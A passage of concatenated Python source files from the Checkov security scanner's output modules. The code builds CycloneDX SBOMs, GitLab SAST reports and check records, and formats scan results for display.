resource.vulnerability_details.get('image_details', ImageDetails()).distro.split(' ')[0] file_path = resource.file_path.split(' ')[0] if package_type == 'os': purl_type = IMAGE_DISTRO_TO_PURL_TYPE.get(image_distro_name, 'generic') namespace = f'{self.repo_id}/{file_path}/{image_distro_name.lower()}' qualifiers = f'distro={resource.vulnerability_details.get("image_details", ImageDetails()).distro_release}' else: purl_type = TWISTCLI_PACKAGE_TYPE_TO_PURL_TYPE.get(package_type, 'generic') namespace = f"{self.repo_id}/{file_path}" else: purl_type = FILE_NAME_TO_PURL_TYPE.get(file_name, "generic") namespace = f"{self.repo_id}/{resource.file_path}" registry_url = resource.vulnerability_details.get("package_registry") is_private_registry = resource.vulnerability_details.get("is_private_registry", False) if registry_url and is_private_registry: qualifiers = f'registry_url={registry_url}' package_group = None package_name = resource.vulnerability_details["package_name"] package_version = resource.vulnerability_details["package_version"] if purl_type == PURL_TYPE_MAVEN and "_" in package_name: package_group, package_name = package_name.split("_", maxsplit=1) namespace += f"/{package_group}" if not package_name: logging.info('maven package name format not as expected') package_name = resource.vulnerability_details["package_name"] # add licenses, if exists disjunctive_licenses = None licenses = resource.vulnerability_details.get("licenses") if licenses: disjunctive_licenses = [ DisjunctiveLicense(name=license) for license in format_string_to_licenses(licenses) ] purl = PackageURL( type=purl_type, namespace=namespace, name=package_name, version=package_version, qualifiers=qualifiers, ) lines = resource.file_line_range lines = validate_lines(lines) properties = None if lines: properties = [Property(name="endLine", value=str(lines[1])), Property(name="startLine", value=str(lines[0]))] component = Component( bom_ref=str(purl), group=package_group, name=package_name, version=package_version, type=ComponentType.LIBRARY, licenses=disjunctive_licenses, purl=purl, properties=properties ) return component def create_image_component(self, resource: Record, bom: Bom) -> None: image_id = cast("dict[str, Any]", resource.vulnerability_details).get('image_details', ImageDetails()).image_id file_path = resource.file_path.split(' ')[0] image_purl = PackageURL( type='oci', namespace=self.repo_id, name=file_path, version=image_id, ) bom.components.add( Component( bom_ref=str(image_purl), type=ComponentType.CONTAINER, name=f"{self.repo_id}/{image_id}", version="", purl=image_purl, ) ) def create_vulnerability(self, check_type: str, resource: Record, component: Component) -> Vulnerability: """Creates a vulnerability""" if check_type in SCA_CHECKTYPES: vulnerability = self.create_cve_vulnerability(resource=resource, component=component) else: vulnerability = self.create_iac_vulnerability(resource=resource, component=component) return vulnerability def create_iac_vulnerability(self, resource: Record, component: Component) -> Vulnerability: """Creates a IaC based vulnerability Ex. CKV_AWS_21 checkov medium Resource: aws_s3_bucket.example. Ensure all data stored in the S3 bucket have versioning enabled https://docs.bridgecrew.io/docs/s3_16-enable-versioning pkg:terraform/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85 """ advisories = None if resource.guideline: advisories = [VulnerabilityAdvisory(url=XsUri(resource.guideline))] severity = VulnerabilitySeverity.UNKNOWN if resource.severity: severity = BC_SEVERITY_TO_CYCLONEDX_LEVEL.get(resource.severity.name, VulnerabilitySeverity.UNKNOWN) vulnerability = Vulnerability( id=resource.check_id, source=VulnerabilitySource(name="checkov"), ratings=[ VulnerabilityRating( severity=severity, ) ], description=f"Resource: {resource.resource}. {resource.check_name}", advisories=advisories, ) if component.bom_ref.value: vulnerability.affects = [BomTarget(ref=component.bom_ref.value)] return vulnerability def create_cve_vulnerability(self, resource: Record, component: Component) -> Vulnerability: """Creates a CVE based vulnerability Ex. CVE-2019-1010083 https://nvd.nist.gov/vuln/detail/CVE-2019-1010083 https://nvd.nist.gov/vuln/detail/CVE-2019-1010083 7.5 unknown CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. ... fixed in 1.0 2019-07-17T14:15:00 pkg:pypi/flask@0.6 """ if not resource.vulnerability_details: # this shouldn't happen logging.error(f"Resource {resource.resource} doesn't have 'vulnerability_details' set") return Vulnerability() severity = VulnerabilitySeverity.UNKNOWN if resource.severity: severity = BC_SEVERITY_TO_CYCLONEDX_LEVEL.get(resource.severity.name, VulnerabilitySeverity.UNKNOWN) source = None source_url = resource.vulnerability_details.get("link") if source_url: source = VulnerabilitySource(url=XsUri(source_url)) method = None vector = resource.vulnerability_details["vector"] if vector: method = VulnerabilityScoreSource.get_from_vector(vector) vector = method.get_localised_vector(vector) fix_version = self.get_fix_version_overview(resource.vulnerability_details) vulnerability = Vulnerability( id=resource.vulnerability_details["id"], source=source, ratings=[ VulnerabilityRating( source=source, score=resource.vulnerability_details.get("cvss"), severity=severity, method=method, vector=vector, ) ], description=resource.vulnerability_details.get("description"), recommendation=fix_version, published=datetime.fromisoformat(resource.vulnerability_details["published_date"].replace("Z", "")), ) if component.bom_ref.value: vulnerability.affects = [BomTarget(ref=component.bom_ref.value)] return vulnerability def get_fix_version_overview(self, vulnerability_details: dict[str, Any]) -> str | None: is_private_fix = vulnerability_details.get("is_private_fix") public_fix_version_prefix = "No private fix available. " if is_private_fix is False else "" fix_version: str = get_fix_version(vulnerability_details) return f'{public_fix_version_prefix}Fixed in {fix_version}' if fix_version and fix_version != UNFIXABLE_VERSION else fix_version def get_output(self, output_format: OutputFormat) -> str: """Returns the SBOM as a formatted string""" schema_version = CYCLONE_SCHEMA_VERSION.get( os.getenv("CHECKOV_CYCLONEDX_SCHEMA_VERSION", ""), DEFAULT_CYCLONE_SCHEMA_VERSION ) output = make_outputter( bom=self.bom, output_format=output_format, schema_version=schema_version, ).output_as_string() return output def get_xml_output(self) -> str: """Returns the SBOM as a XML formatted string""" return self.get_output(output_format=OutputFormat.XML) def get_json_output(self) -> str: """Returns the SBOM as a JSON formatted string""" return self.get_output(output_format=OutputFormat.JSON) def update_tool_external_references(self, tool: Tool) -> None: tool.external_references.update( [ ExternalReference( type=ExternalReferenceType.BUILD_SYSTEM, url=XsUri("https://github.com/bridgecrewio/checkov/actions"), ), ExternalReference( type=ExternalReferenceType.DISTRIBUTION, url=XsUri("https://pypi.org/project/checkov/"), ), ExternalReference( type=ExternalReferenceType.DOCUMENTATION, url=XsUri("https://www.checkov.io/1.Welcome/What%20is%20Checkov.html"), ), ExternalReference( type=ExternalReferenceType.ISSUE_TRACKER, url=XsUri("https://github.com/bridgecrewio/checkov/issues"), ), ExternalReference( type=ExternalReferenceType.LICENSE, url=XsUri("https://github.com/bridgecrewio/checkov/blob/master/LICENSE"), ), ExternalReference( type=ExternalReferenceType.SOCIAL, url=XsUri("https://twitter.com/bridgecrewio"), ), ExternalReference( type=ExternalReferenceType.VCS, url=XsUri("https://github.com/bridgecrewio/checkov"), ), ExternalReference( type=ExternalReferenceType.WEBSITE, url=XsUri("https://www.checkov.io/"), ), ] ) # Copy of https://github.com/CycloneDX/cyclonedx-python-lib/blob/74865f8e498c9723c2ce3556ceecb6a3cfc4c490/cyclonedx/_internal/hash.py # because it looks like it meant to be something not exposed for external usage def file_sha1sum(filename: str) -> str: """ Generate a SHA1 hash of the provided file. Args: filename: Absolute path to file to hash as `str` Returns: SHA-1 hash """ h = sha1() # nosec B303, B324 with open(filename, 'rb') as f: for byte_block in iter(lambda: f.read(4096), b''): h.update(byte_block) return h.hexdigest() ================================================ FILE: checkov/common/output/cyclonedx_consts.py ================================================ from __future__ import annotations from checkov.common.bridgecrew.severities import BcSeverities from cyclonedx.model.vulnerability import VulnerabilitySeverity from checkov.common.output.report import CheckType from cyclonedx.schema import SchemaVersion SCA_CHECKTYPES = (CheckType.SCA_PACKAGE, CheckType.SCA_IMAGE) PURL_TYPE_MAVEN = "maven" DEFAULT_CYCLONE_SCHEMA_VERSION = SchemaVersion.V1_4 CYCLONE_SCHEMA_VERSION: "dict[str, SchemaVersion]" = { "1.4": DEFAULT_CYCLONE_SCHEMA_VERSION, "1.3": SchemaVersion.V1_3, "1.2": SchemaVersion.V1_2, "1.1": SchemaVersion.V1_1, "1.0": SchemaVersion.V1_0 } FILE_NAME_TO_PURL_TYPE = { "build.gradle": "maven", "build.gradle.kts": PURL_TYPE_MAVEN, "composer.json": "composer", "Gemfile": "gem", "go.mod": "golang", "go.sum": "golang", "package.json": "npm", "package-lock.json": "npm", "Pipfile": "pypi", "Pipfile.lock": "pypi", "pom.xml": "maven", "requirements.txt": "pypi", "yarn.lock": "npm" } IMAGE_DISTRO_TO_PURL_TYPE = { 'Debian': 'deb', 'Red': 'rpm', 'CentOS': 'rpm', 'Fedora': 'rpm', 'openSUSE': 'rpm', 'AlmaLinux': 'rpm', 'Asianux': 'rpm', 'ClearOS': 'rpm', 'Fermi': 'rpm', 'Miracle': 'rpm', 'Oracle': 'rpm', 'Rocky': 'rpm', 'Scientific': 'rpm', 'Amazon': 'rpm', 'SUSE': 'rpm', 'GeckoLinux': 'rpm', 'Mandriva': 'rpm', 'Mageia': 'rpm', 'ROSA': 'rpm', 'OpenMandriva': 'rpm', 'Unity': 'rpm', 'PCLinuxOS': 'rpm', 'Vine': 'rpm', 'ALT': 'rpm', 'Caldera': 'rpm', 'cAos': 'rpm', 'Turbolinux': 'rpm', 'Astra': 'deb', 'Bharat': 'deb', 'Canaima': 'deb', 'Corel': 'deb', 'CrunchBang': 'deb', 'Deepin': 'deb', 'Devuan': 'deb', 'Dreamlinux': 'deb', 'Emdebian': 'deb', 'Finnix': 'deb', 'gNewSense': 'deb', 'Gnoppix': 'deb', 'grml': 'deb', 'HandyLinux': 'deb', 'Kanotix': 'deb', 'Knoppix': 'deb', 'Kurumin': 'deb', 'LEAF': 'deb', 'LiMux': 'deb', 'LMDE': 'deb', 'Maemo': 'deb', 'MEPIS': 'deb', 'MintPPC': 'deb', 'Musix': 'deb', 'NepaLinux': 'deb', 'OpenZaurus': 'deb', 'Pardus': 'deb', 'PelicanHPC': 'deb', 'Q4OS': 'deb', 'Raspberry': 'deb', 'Sacix': 'deb', 'Skolelinux': 'deb', 'Slax (since': 'deb', 'SolydXK': 'deb', 'SparkyLinux': 'deb', 'Sunwah': 'deb', 'The': 'deb', 'TurnKey': 'deb', 'Twister': 'deb', 'Ubuntu': 'deb', 'Univention': 'deb', 'Webconverger': 'deb', 'Vyatta': 'deb', 'VyOS': 'deb', 'BackTrack': 'deb', 'gLinux': 'deb', 'Kali': 'deb', 'Parsix': 'deb', 'EOL[44]': 'deb', 'PureOS': 'deb', 'Parrot': 'deb', 'antiX': 'deb', 'MX': 'deb', 'Damn': 'deb', 'Feather': 'deb', 'Hikarunix': 'deb', 'Kubuntu': 'deb', 'Lubuntu': 'deb', 'Xubuntu': 'deb', 'Edubuntu': 'deb', 'Gobuntu': 'deb', 'Mythbuntu': 'deb', 'BackBox': 'deb', 'BackSlash': 'deb', 'Bodhi': 'deb', 'Cub': 'deb', 'DNALinux (based': 'deb', 'dyne:bolic': 'deb', 'EasyPeasy': 'deb', 'Eeebuntu': 'deb', 'Element': 'deb', 'elementary': 'deb', 'Emmabuntüs': 'deb', 'GalliumOS': 'deb', 'GendBuntu': 'deb', 'Goobuntu': 'deb', 'gOS': 'deb', 'Joli': 'deb', 'Karoshi': 'deb', 'KDE': 'deb', 'Linux': 'deb', 'LinuxMCE': 'deb', 'LinuxTLE': 'deb', 'LliureX': 'deb', 'LXLE': 'deb', 'MAX': 'deb', 'Molinux': 'deb', 'Netrunner': 'deb', 'Nova': 'deb', 'OpenGEU': 'deb', 'Peppermint': 'deb', 'Pinguy': 'deb', 'Pop!': 'deb', 'Poseidon': 'deb', 'Sabily': 'deb', 'Trisquel': 'deb', 'UberStudent': 'deb', 'Ututo': 'deb', 'Vinux': 'deb', 'Zorin': 'deb' } TWISTCLI_PACKAGE_TYPE_TO_PURL_TYPE = { 'python' : 'pypi', 'nodejs' : 'npm', 'jar' : 'maven', 'rust': 'cargo' } BC_SEVERITY_TO_CYCLONEDX_LEVEL = { BcSeverities.CRITICAL: VulnerabilitySeverity.CRITICAL, BcSeverities.HIGH: VulnerabilitySeverity.HIGH, BcSeverities.MEDIUM: VulnerabilitySeverity.MEDIUM, BcSeverities.LOW: VulnerabilitySeverity.LOW, BcSeverities.NONE: VulnerabilitySeverity.NONE, } ================================================ FILE: checkov/common/output/extra_resource.py ================================================ from __future__ import annotations from typing import Any class ExtraResource: __slots__ = ("file_abs_path", "file_path", "resource", "file_line_range", "vulnerability_details") def __init__( self, file_abs_path: str, file_path: str, resource: str, file_line_range: list[int] | None = None, vulnerability_details: dict[str, Any] | None = None ) -> None: self.file_abs_path = file_abs_path self.file_path = file_path self.resource = resource # resource ID self.file_line_range = file_line_range self.vulnerability_details = vulnerability_details # only set for SCA resources def __lt__(self, other: ExtraResource) -> bool: return (self.file_abs_path, self.resource) < (other.file_abs_path, other.resource) ================================================ FILE: checkov/common/output/github_actions_record.py ================================================ from typing import Optional, Dict, Set, List, Tuple, Any, Union from checkov.common.bridgecrew.severities import Severity from checkov.common.output.record import Record from checkov.common.typing import _CheckResult class GithubActionsRecord(Record): def __init__(self, triggers: Optional[Set[str]], job: Union[Optional[str], None], workflow_name: Optional[str], check_id: str, check_name: str, check_result: _CheckResult, code_block: List[Tuple[int, str]], file_path: str, file_line_range: List[int], resource: str, evaluations: Optional[Dict[str, Any]], check_class: str, file_abs_path: str, entity_tags: Optional[Dict[str, str]] = None, bc_check_id: Optional[str] = None, severity: Optional[Severity] = None, details: Optional[List[str]] = None ) -> None: super().__init__(check_id=check_id, check_name=check_name, check_result=check_result, code_block=code_block, file_path=file_path, file_line_range=file_line_range, resource=resource, evaluations=evaluations, check_class=check_class, file_abs_path=file_abs_path, entity_tags=entity_tags, bc_check_id=bc_check_id, severity=severity, details=details ) self.triggers = triggers, self.job = job, self.workflow_name = workflow_name ================================================ FILE: checkov/common/output/gitlab_sast.py ================================================ from __future__ import annotations from datetime import datetime, timezone from typing import TYPE_CHECKING, Any from uuid import uuid4 from checkov.common.output.cyclonedx_consts import SCA_CHECKTYPES from checkov.common.util.http_utils import valid_url from checkov.version import version if TYPE_CHECKING: from checkov.common.output.record import Record from checkov.common.output.report import Report DEFAULT_SEVERITY_GITLAB_LEVEL = "Unknown" SEVERITY_TO_GITLAB_LEVEL = { "critical": "Critical", "high": "High", "medium": "Medium", "low": "Low", "none": "Info", } class GitLabSast: def __init__(self, reports: list[Report]): self.reports = reports self.sast_json = self.create_sast_json() def create_sast_json(self) -> dict[str, Any]: return { "schema": "https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/raw/v15.0.4/dist/sast-report-format.json", "version": "15.0.4", "scan": self._create_scan(), "vulnerabilities": self._create_vulnerabilities(), } def _create_scan(self) -> dict[str, Any]: current_datetime = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%S") scanner = { "id": "checkov", "name": "Checkov", "url": "https://www.checkov.io/", "vendor": { "name": "Bridgecrew", }, "version": version, } return { "start_time": current_datetime, # needs to be done properly in a later stage "end_time": current_datetime, "analyzer": scanner, # same for us "scanner": scanner, "status": "success", "type": "sast", } def _create_vulnerabilities(self) -> list[dict[str, Any]]: vulnerabilities = [] for report in self.reports: if report.check_type in SCA_CHECKTYPES: for check in report.failed_checks: vulnerability = None if check.check_id.startswith("BC_LIC"): vulnerability = self._create_license_vulnerability(record=check) elif check.check_id.startswith(("BC_VUL", "CKV_CVE")): vulnerability = self._create_cve_vulnerability(record=check) if vulnerability: vulnerabilities.append(vulnerability) else: for check in report.failed_checks: vulnerabilities.append(self._create_iac_vulnerability(record=check)) return vulnerabilities def _create_iac_vulnerability(self, record: Record) -> dict[str, Any]: severity = record.severity.name.lower() if record.severity else "" vulnerability: "dict[str, Any]" = { "id": str(uuid4()), "identifiers": [ { "name": record.check_id, "type": "checkov", "value": record.check_id, } ], "location": { "file": record.repo_file_path.lstrip("/"), "start_line": record.file_line_range[0], "end_line": record.file_line_range[1], }, "name": record.check_name, "description": f"Further info can be found {record.guideline}", "severity": SEVERITY_TO_GITLAB_LEVEL.get(severity, DEFAULT_SEVERITY_GITLAB_LEVEL), "solution": f"Further info can be found {record.guideline}", } link = record.guideline if valid_url(link): # url can't be None vulnerability["identifiers"][0]["url"] = link vulnerability["links"] = [ { "url": link, } ] return vulnerability def _create_cve_vulnerability(self, record: Record) -> dict[str, Any] | None: details = record.vulnerability_details if not details: # this shouldn't happen return None severity = record.severity.name.lower() if record.severity else "" vulnerability: "dict[str, Any]" = { "id": str(uuid4()), "identifiers": [ { "name": record.short_description, "type": "cve", "value": details["id"], } ], "location": { "file": record.repo_file_path.lstrip("/"), }, "name": record.short_description, "description": details.get("description"), "severity": SEVERITY_TO_GITLAB_LEVEL.get(severity, DEFAULT_SEVERITY_GITLAB_LEVEL), "solution": details.get("status"), } link = details.get("link") if valid_url(link): # url can't be None vulnerability["identifiers"][0]["url"] = link vulnerability["links"] = [ { "url": link, } ] return vulnerability def _create_license_vulnerability(self, record: Record) -> dict[str, Any] | None: details = record.vulnerability_details if not details: # this shouldn't happen return None return { "id": str(uuid4()), "identifiers": [ { "name": record.check_id, "type": "license", "value": record.check_id, } ], "location": { "file": record.repo_file_path.lstrip("/"), }, "name": record.short_description, "description": f"Package {details['package_name']}@{details['package_version']} has license {details['license']}", } ================================================ FILE: checkov/common/output/graph_record.py ================================================ from __future__ import annotations from typing import Any from checkov.common.output.record import Record class GraphRecord(Record): def __init__(self, record: Record, breadcrumbs: dict[str, dict[str, Any]]): super().__init__(record.check_id, record.check_name, record.check_result, record.code_block, record.file_path, record.file_line_range, record.resource, record.evaluations, record.check_class, record.file_abs_path, record.entity_tags, record.caller_file_path, record.caller_file_line_range, bc_check_id=record.bc_check_id, resource_address=record.resource_address, severity=record.severity, bc_category=record.bc_category, benchmarks=record.benchmarks, details=record.details, definition_context_file_path=record.definition_context_file_path) self.fixed_definition = record.fixed_definition self.breadcrumbs = breadcrumbs ================================================ FILE: checkov/common/output/record.py ================================================ from __future__ import annotations import os import re from functools import lru_cache from pathlib import Path from typing import Union, List, Tuple, Optional, Dict, Any from colorama import init, Fore, Style from termcolor import colored from checkov.common.bridgecrew.severities import Severity from checkov.common.models.enums import CheckResult from checkov.common.typing import _CheckResult from checkov.common.util.file_utils import convert_to_unix_path from checkov.common.util.type_forcers import force_int init(autoreset=True) ANSI_COLORS_DISABLED = bool(os.getenv('ANSI_COLORS_DISABLED')) CURRENT_LOCAL_DRIVE = Path.cwd().drive DEFAULT_SEVERITY = "none" # equivalent to a score of 0.0 in the CVSS v3.0 Ratings OUTPUT_CODE_LINE_LIMIT = force_int(os.getenv('CHECKOV_OUTPUT_CODE_LINE_LIMIT')) or 50 SCA_PACKAGE_SCAN_CHECK_NAME = "SCA package scan" SCA_LICENSE_CHECK_NAME = "SCA license" PLACEHOLDER_LINE = "...\n" class Record: def __init__( self, check_id: str, check_name: str, check_result: _CheckResult, code_block: List[Tuple[int, str]], file_path: str, file_line_range: List[int], resource: str, evaluations: Optional[Dict[str, Any]], check_class: str, file_abs_path: str, entity_tags: Optional[Dict[str, str]] = None, caller_file_path: Optional[str] = None, caller_file_line_range: tuple[int, int] | None = None, bc_check_id: Optional[str] = None, resource_address: Optional[str] = None, severity: Optional[Severity] = None, bc_category: Optional[str] = None, benchmarks: dict[str, list[str]] | None = None, description: Optional[str] = None, short_description: Optional[str] = None, vulnerability_details: Optional[Dict[str, Any]] = None, connected_node: Optional[Dict[str, Any]] = None, details: Optional[List[str]] = None, check_len: int | None = None, definition_context_file_path: Optional[str] = None ) -> None: """ :param evaluations: A dict with the key being the variable name, value being a dict containing: - 'var_file' - 'value' - 'definitions', a list of dicts which contain 'definition_expression' """ self.check_id = check_id self.bc_check_id = bc_check_id self.check_name = check_name self.check_result = check_result self.code_block = code_block self.file_path = file_path self.file_abs_path = file_abs_path self.repo_file_path = self._determine_repo_file_path(file_abs_path) self.file_line_range = file_line_range self.resource = resource self.evaluations = evaluations self.check_class = check_class self.fixed_definition = None self.entity_tags = entity_tags self.caller_file_path = caller_file_path # When created from a module self.caller_file_line_range = caller_file_line_range # When created from a module self.resource_address = resource_address self.severity = severity self.bc_category = bc_category self.benchmarks = benchmarks self.description = description # used by SARIF output self.short_description = short_description # used by SARIF and GitLab SAST output self.vulnerability_details = vulnerability_details # Stores package vulnerability details self.connected_node = connected_node self.guideline: str | None = None self.details: List[str] = details or [] self.check_len = check_len self.definition_context_file_path = definition_context_file_path @staticmethod @lru_cache(maxsize=None) def _determine_repo_file_path(file_path: Union[str, "os.PathLike[str]"]) -> str: # matches file paths given in the BC platform and should always be a unix path repo_file_path = Path(file_path) if CURRENT_LOCAL_DRIVE == repo_file_path.drive: return convert_to_unix_path(f"/{os.path.relpath(repo_file_path)}").replace("/..", "") return f"/{'/'.join(repo_file_path.parts[1:])}" def set_guideline(self, guideline: Optional[str]) -> None: self.guideline = guideline @staticmethod def _trim_special_chars(expression: str) -> str: return "".join(re.findall(re.compile(r"[^ ${\}]+"), expression)) @staticmethod def _is_expression_in_code_lines(expression: str, code_block: List[Tuple[int, str]]) -> bool: stripped_expression = Record._trim_special_chars(expression) return any(stripped_expression in Record._trim_special_chars(line) for (_, line) in code_block) @staticmethod def _code_line_string(code_block: List[Tuple[int, str]], colorized: bool = True) -> str: code_output = [] color_codes = (Fore.WHITE if colorized else "", Fore.YELLOW if colorized else "") last_line_number_len = len(str(code_block[-1][0])) if len(code_block) >= OUTPUT_CODE_LINE_LIMIT: return f'\t\t{color_codes[1]}Code lines for this resource are too many. ' \ f'Please use IDE of your choice to review the file.' for line_num, line in code_block: spaces = " " * (last_line_number_len - len(str(line_num))) if line.lstrip().startswith("#"): code_output.append(f"\t\t{color_codes[0]}{line_num}{spaces} | {line}") elif line.lstrip() == PLACEHOLDER_LINE: code_output.append(f"\t\t{line}") else: code_output.append(f"\t\t{color_codes[0]}{line_num}{spaces} | {color_codes[1]}{line}") return "".join(code_output) @staticmethod def get_guideline_string(guideline: Optional[str]) -> str: if guideline: return ( "\tGuide: " + Style.BRIGHT + colored(f"{guideline}\n", "blue", attrs=["underline"]) + Style.RESET_ALL ) return '' @staticmethod def get_code_lines_string(code_block: List[Tuple[int, str]]) -> str: if code_block: return "\n{}\n".format("".join([Record._code_line_string(code_block, not (ANSI_COLORS_DISABLED))])) return '' @staticmethod def get_details_string(details: List[str]) -> str: if details: detail_buffer = [colored(f"\tDetails: {details[0]}\n", "blue")] for t in details[1:]: detail_buffer.append(colored(f"\t {t}\n", "blue")) return "".join(detail_buffer) return '' @staticmethod def get_caller_file_details_string(caller_file_path: Optional[str], caller_file_line_range: Optional[Tuple[int, int]]) -> str: if caller_file_path and caller_file_line_range: return colored( "\tCalling File: {}:{}\n".format( caller_file_path, "-".join([str(x) for x in caller_file_line_range]) ), "magenta", ) return '' @staticmethod def get_evaluation_string(evaluations: Optional[Dict[str, Any]], code_block: List[Tuple[int, str]]) -> str: if evaluations: for (var_name, var_evaluations) in evaluations.items(): var_file = var_evaluations["var_file"] var_definitions = var_evaluations["definitions"] for definition_obj in var_definitions: definition_expression = definition_obj["definition_expression"] if Record._is_expression_in_code_lines(definition_expression, code_block): return colored( f'\tVariable {colored(var_name, "yellow")} (of {var_file}) evaluated to value "{colored(var_evaluations["value"], "yellow")}" ' f'in expression: {colored(definition_obj["definition_name"] + " = ", "yellow")}{colored(definition_obj["definition_expression"], "yellow")}\n', "white", ) return '' def to_string(self, compact: bool = False, use_bc_ids: bool = False) -> str: status = "" status_color = "white" suppress_comment = "" if self.check_result["result"] == CheckResult.PASSED: status = CheckResult.PASSED.name status_color = "green" elif self.check_result["result"] == CheckResult.FAILED: status = CheckResult.FAILED.name status_color = "red" elif self.check_result["result"] == CheckResult.SKIPPED: status = CheckResult.SKIPPED.name status_color = "blue" suppress_comment = "\tSuppress comment: {}\n".format(self.check_result.get("suppress_comment", "")) check_message = colored('Check: {}: "{}"\n'.format(self.get_output_id(use_bc_ids), self.check_name), "white") guideline_message = self.get_guideline_string(self.guideline) severity_message = f'\tSeverity: {self.severity.name}\n' if self.severity else '' file_details = colored( "\tFile: {}:{}\n".format(self.file_path, "-".join([str(x) for x in self.file_line_range])), "magenta" ) code_lines = self.get_code_lines_string(self.code_block) detail = self.get_details_string(self.details) caller_file_details = self.get_caller_file_details_string(self.caller_file_path, self.caller_file_line_range) evaluation_message = self.get_evaluation_string(self.evaluations, self.code_block) status_message = colored("\t{} for resource: {}\n".format(status, self.resource), status_color) if self.check_result["result"] == CheckResult.FAILED and code_lines and not compact: return f"{check_message}{status_message}{severity_message}{detail}{file_details}{caller_file_details}{guideline_message}{code_lines}{evaluation_message}" if self.check_result["result"] == CheckResult.SKIPPED: return f"{check_message}{status_message}{severity_message}{suppress_comment}{detail}{file_details}{caller_file_details}{guideline_message}" else: return f"{check_message}{status_message}{severity_message}{detail}{file_details}{caller_file_details}{evaluation_message}{guideline_message}" def __str__(self) -> str: return self.to_string() def get_output_id(self, use_bc_ids: bool) -> str: return self.bc_check_id if self.bc_check_id and use_bc_ids else self.check_id def get_unique_string(self) -> str: return f"{self.check_id}.{self.file_abs_path}.{self.file_line_range}.{self.resource}" @classmethod def from_reduced_json(cls, record_json: dict[str, Any]) -> Record: return Record( check_id=record_json['check_id'], bc_check_id=record_json['bc_check_id'], check_name=record_json['check_name'], check_result=record_json['check_result'], code_block=record_json['code_block'], file_path=record_json['file_path'], file_line_range=record_json['file_line_range'], resource=record_json['resource'], evaluations=record_json.get('evaluations'), check_class='', file_abs_path=record_json['file_abs_path'], severity=record_json.get('severity') ) ================================================ FILE: checkov/common/output/report.py ================================================ from __future__ import annotations import argparse import json import logging import os from collections.abc import Iterable from typing import List, Dict, Union, Any, Optional, TYPE_CHECKING, cast from colorama import init from junit_xml import TestCase, TestSuite, to_xml_report_string from tabulate import tabulate from termcolor import colored from checkov.common.bridgecrew.code_categories import CodeCategoryType from checkov.common.bridgecrew.severities import BcSeverities, Severity from checkov.common.bridgecrew.check_type import CheckType from checkov.common.models.enums import CheckResult, ErrorStatus from checkov.common.typing import _ExitCodeThresholds, _ScaExitCodeThresholds from checkov.common.output.record import Record, SCA_PACKAGE_SCAN_CHECK_NAME from checkov.common.sast.consts import POLICIES_ERRORS, POLICIES_ERRORS_COUNT, SOURCE_FILES_COUNT, POLICY_COUNT from checkov.common.util.consts import PARSE_ERROR_FAIL_FLAG, S3_UPLOAD_DETAILS_MESSAGE from checkov.common.util.json_utils import CustomJSONEncoder from checkov.runner_filter import RunnerFilter from checkov.sca_package_2.output import create_cli_output as create_sca_package_cli_output_v2 from checkov.policies_3d.output import create_cli_output as create_3d_policy_cli_output from checkov.version import version if TYPE_CHECKING: from checkov.common.output.baseline import Baseline from checkov.common.output.extra_resource import ExtraResource init(autoreset=True) SEVERITY_TO_SARIF_LEVEL = { "critical": "error", "high": "error", "medium": "warning", "low": "note", "none": "none", } class Report: def __init__(self, check_type: str): self.check_type = check_type self.passed_checks: list[Record] = [] self.failed_checks: list[Record] = [] self.skipped_checks: list[Record] = [] self.parsing_errors: list[str] = [] self.resources: set[str] = set() self.extra_resources: set[ExtraResource] = set() self.image_cached_results: List[dict[str, Any]] = [] self.error_status: ErrorStatus = ErrorStatus.SUCCESS @property def errors(self) -> Dict[str, List[str]]: return dict() def set_error_status(self, error_status: ErrorStatus) -> None: self.error_status = error_status def add_parsing_errors(self, errors: "Iterable[str]") -> None: for file in errors: self.add_parsing_error(file) def add_parsing_error(self, file: str) -> None: if file: self.parsing_errors.append(file) def add_resource(self, resource: str) -> None: self.resources.add(resource) def add_record(self, record: Record) -> None: if record.check_result["result"] == CheckResult.PASSED: self.passed_checks.append(record) if record.check_result["result"] == CheckResult.FAILED: self.failed_checks.append(record) if record.check_result["result"] == CheckResult.SKIPPED: self.skipped_checks.append(record) def get_summary(self) -> Dict[str, Union[int, str]]: return { "passed": len(self.passed_checks), "failed": len(self.failed_checks), "skipped": len(self.skipped_checks), "parsing_errors": len(self.parsing_errors), "resource_count": len(self.resources), "checkov_version": version, } def get_json(self) -> str: return json.dumps(self.get_dict(), indent=4, cls=CustomJSONEncoder) def get_all_records(self) -> List[Record]: return self.failed_checks + self.passed_checks + self.skipped_checks def get_dict(self, is_quiet: bool = False, url: str | None = None, full_report: bool = False, s3_setup_failed: bool = False, support_path: str | None = None) -> dict[str, Any]: if not url and not s3_setup_failed: url = "Add an api key '--bc-api-key ' to see more detailed insights via https://bridgecrew.cloud" elif s3_setup_failed: url = S3_UPLOAD_DETAILS_MESSAGE if is_quiet: return { "check_type": self.check_type, "results": { "failed_checks": [check.__dict__ for check in self.failed_checks] }, "summary": self.get_summary(), } if full_report: return { "check_type": self.check_type, "checks": { "passed_checks": [check.__dict__ for check in self.passed_checks], "failed_checks": [check.__dict__ for check in self.failed_checks], "skipped_checks": [check.__dict__ for check in self.skipped_checks] }, "image_cached_results": [res.__dict__ for res in self.image_cached_results] } else: result = { "check_type": self.check_type, "results": { "passed_checks": [check.__dict__ for check in self.passed_checks], "failed_checks": [check.__dict__ for check in self.failed_checks], "skipped_checks": [check.__dict__ for check in self.skipped_checks], "parsing_errors": list(self.parsing_errors), }, "summary": self.get_summary(), "url": url, } if support_path: result["support_path"] = support_path return result def get_exit_code(self, exit_code_thresholds: Union[_ExitCodeThresholds, _ScaExitCodeThresholds]) -> int: """ Returns the appropriate exit code depending on the flags that are passed in. :return: Exit code 0 or 1. """ hard_fail_on_parsing_errors = os.getenv(PARSE_ERROR_FAIL_FLAG, "false").lower() == 'true' logging.debug(f'In get_exit_code; exit code thresholds: {exit_code_thresholds}, hard_fail_on_parsing_errors: {hard_fail_on_parsing_errors}') if self.parsing_errors and hard_fail_on_parsing_errors: logging.debug('hard_fail_on_parsing_errors is True and there were parsing errors - returning 1') return 1 if not self.failed_checks: logging.debug('No failed checks in this report - returning 0') return 0 # we will have two different sets of logic in this method, determined by this variable. # if we are using enforcement rules, then there are two different sets of thresholds that apply for licenses and vulnerabilities # and we have to handle that throughout 